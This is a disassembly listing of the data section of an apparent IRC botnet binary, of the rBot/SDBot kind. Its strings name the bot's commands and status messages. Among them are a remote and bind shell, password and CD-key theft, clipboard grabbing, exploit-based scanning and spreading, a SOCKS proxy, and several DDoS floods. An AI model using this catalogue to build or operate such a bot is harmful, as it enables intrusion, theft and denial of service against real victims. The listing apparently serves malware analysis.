234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA94 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BACC dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAE4 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BB00 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BB1C dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB38 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BB74 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB98 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BBB8 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBD8 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBF0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 10h unk_42BC10 db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC38 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_42BC64 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC80 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42BCC4 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCE8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42BD14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h unk_42BD40 db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42BD64 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 10h unk_42BDA0 db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDDC db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE18 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE54 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42BEC4 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 4 unk_42BEE4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BF1C db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF58 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 10h aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFD8 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42C018 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C054 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 10h aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 10h aScanall db 'scanall',0 ; DATA XREF: sub_401ACD+1BE7o dword_42C0C8 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 10h aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 10h aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C170 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C1A4 db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1D8 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1EC dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1F0 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1FC dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 10h aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 10h aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 10h aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437C38o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C2BC db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2E4 db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o ; ___:00437C50o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 10h aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437C28o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 10h aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 4 dword_42C3A8 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 4 dword_42C3C8 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 10h aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3EC dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 10h aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C43C dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C484 db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C4B8 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C4C8 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4D8 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4E8 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4F8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C504 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C510 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C51C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C534 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C540 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 4 dword_42C558 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C568 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C584 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C594 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 10h dword_42C5B0 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C5BC dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C5D0 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5DC dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5E8 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5F4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C604 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C624 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C630 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C644 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 10h dword_42C660 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C67C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C6A4 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 10h aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 10h aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 10h aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 10h aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 10h aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 4 aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C54o unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 10h asc_42C750: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 10h aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 10h aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 10h aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C794 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42C7C8 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42C830 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 unk_42C858 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C89C db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42C8D8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8F0 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8F8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C914 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C920 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C924 db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 10h dword_42C960 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C968 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C97C db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 10h unk_42C9A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9F4 db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 10h asc_42CA60: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA64: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA68 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 10h aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 